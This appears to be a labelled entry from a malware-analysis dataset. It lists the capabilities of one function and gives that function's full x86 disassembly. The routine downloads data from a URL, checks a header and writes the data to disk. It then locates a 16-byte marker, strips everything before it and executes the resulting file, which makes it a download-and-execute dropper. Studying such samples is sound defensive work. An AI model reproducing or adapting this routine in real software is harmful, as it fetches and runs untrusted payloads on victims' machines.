Function at 0x401d79
Capabilities:
Get common file path
Read file on windows
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
push 7
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x3b]
mov byte [ebp - 0x3c], bl
push 7
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x5b]
mov byte [ebp - 0x5c], bl
rep stosd dword es:[edi], eax
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push ebx
push str.Testing
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x18], ebx
mov byte [ebp - 1], bl
stosb byte es:[edi], al
call dword [0x40d8f0]
push ebx
push connect
push ebx
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x1c], eax
push eax
call dword [0x40d920]
mov esi, eax
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x14], esi
push eax
push 0x13
push esi
call dword [0x40d940]
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x3c]
push eax
push 0x13
push esi
call dword [0x40d940]
test eax, eax
je 0x402018
push 3
lea eax, [ebp - 0x3c]
push 0x40a96c
push eax
call fcn.00404550
add esp, 0xc
test eax, eax
jne 0x402013
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x5c]
push eax
push 5
push esi
call dword [0x40d940]
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x5c]
push eax
push 5
push esi
call dword [0x40d940]
test eax, eax
je 0x402013
lea eax, [ebp - 0x5c]
push eax
call fcn.00401d21
pop ecx
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push 0x80
push 2
push ebx
mov esi, 0xc0000000
push 1
push esi
push dword [ebp + 0xc]
call edi
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x402013
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 1]
push 1
push eax
push dword [ebp - 0x14]
call dword [0x40d930]
test eax, eax
je 0x401eb3
cmp dword [ebp - 0xc], ebx
je 0x401eb3
lea eax, [ebp - 0x18]
push ebx
push eax
lea eax, [ebp - 1]
push 1
push eax
push dword [ebp - 0x10]
call dword [0x40d8ec]
inc dword [ebp - 8]
jmp 0x401e7e
push dword [ebp - 0x14]
call dword [0x40d8d4]
push dword [ebp - 0x1c]
call dword [0x40d8d4]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [0x40d8e0]
push 0x40a978
push dword [ebp + 8]
call fcn.004044d0
pop ecx
test eax, eax
pop ecx
je 0x402008
push ebx
push 0x80
push 3
push ebx
push 1
push esi
push dword [ebp + 0xc]
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x402013
push dword [ebp - 8]
call fcn.0040440f
push dword [ebp - 8]
mov edi, eax
push ebx
push edi
call fcn.004040c0
add esp, 0x10
lea eax, [ebp - 0xc]
push ebx
push eax
push dword [ebp - 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402013
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
cmp dword [ebp - 8], ebx
jbe 0x401fbb
cmp byte [esi + edi], 0xb1
jne 0x401fb5
cmp byte [esi + edi + 1], 0xc5
jne 0x401fb5
cmp byte [esi + edi + 2], 0x11
jne 0x401fb5
cmp byte [esi + edi + 3], 0x67
jne 0x401fb5
cmp byte [esi + edi + 4], 0x88
jne 0x401fb5
cmp byte [esi + edi + 5], 9
jne 0x401fb5
cmp byte [esi + edi + 6], 0x12
jne 0x401fb5
cmp byte [esi + edi + 7], 0x13
jne 0x401fb5
cmp byte [esi + edi + 8], 0xa6
jne 0x401fb5
cmp byte [esi + edi + 9], 0xc2
jne 0x401fb5
cmp byte [esi + edi + 0xa], 0x3c
jne 0x401fb5
cmp byte [esi + edi + 0xb], 0x15
jne 0x401fb5
cmp byte [esi + edi + 0xc], 0x98
jne 0x401fb5
cmp byte [esi + edi + 0xd], 9
jne 0x401fb5
cmp byte [esi + edi + 0xe], 0x91
jne 0x401fb5
cmp byte [esi + edi + 0xf], 0xd4
je 0x401fbb
inc esi
cmp esi, dword [ebp - 8]
jb 0x401f46
push ebx
push 0x80
push 2
push ebx
push 1
push 0xc0000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x402013
lea eax, [ebp - 0x18]
push ebx
push eax
mov eax, dword [ebp - 8]
sub eax, esi
sub eax, 0x10
push eax
lea eax, [esi + edi + 0x10]
push eax
push dword [ebp - 0x10]
call dword [0x40d8ec]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.004043a6
pop ecx
push 5
push dword [ebp + 0xc]
call dword [0x40d8e4]
pop edi
pop esi
pop ebx
leave
ret
push esi
call dword [0x40d8d4]
push dword [ebp - 0x1c]
call dword [0x40d8d4]
push ebx
call fcn.004042d1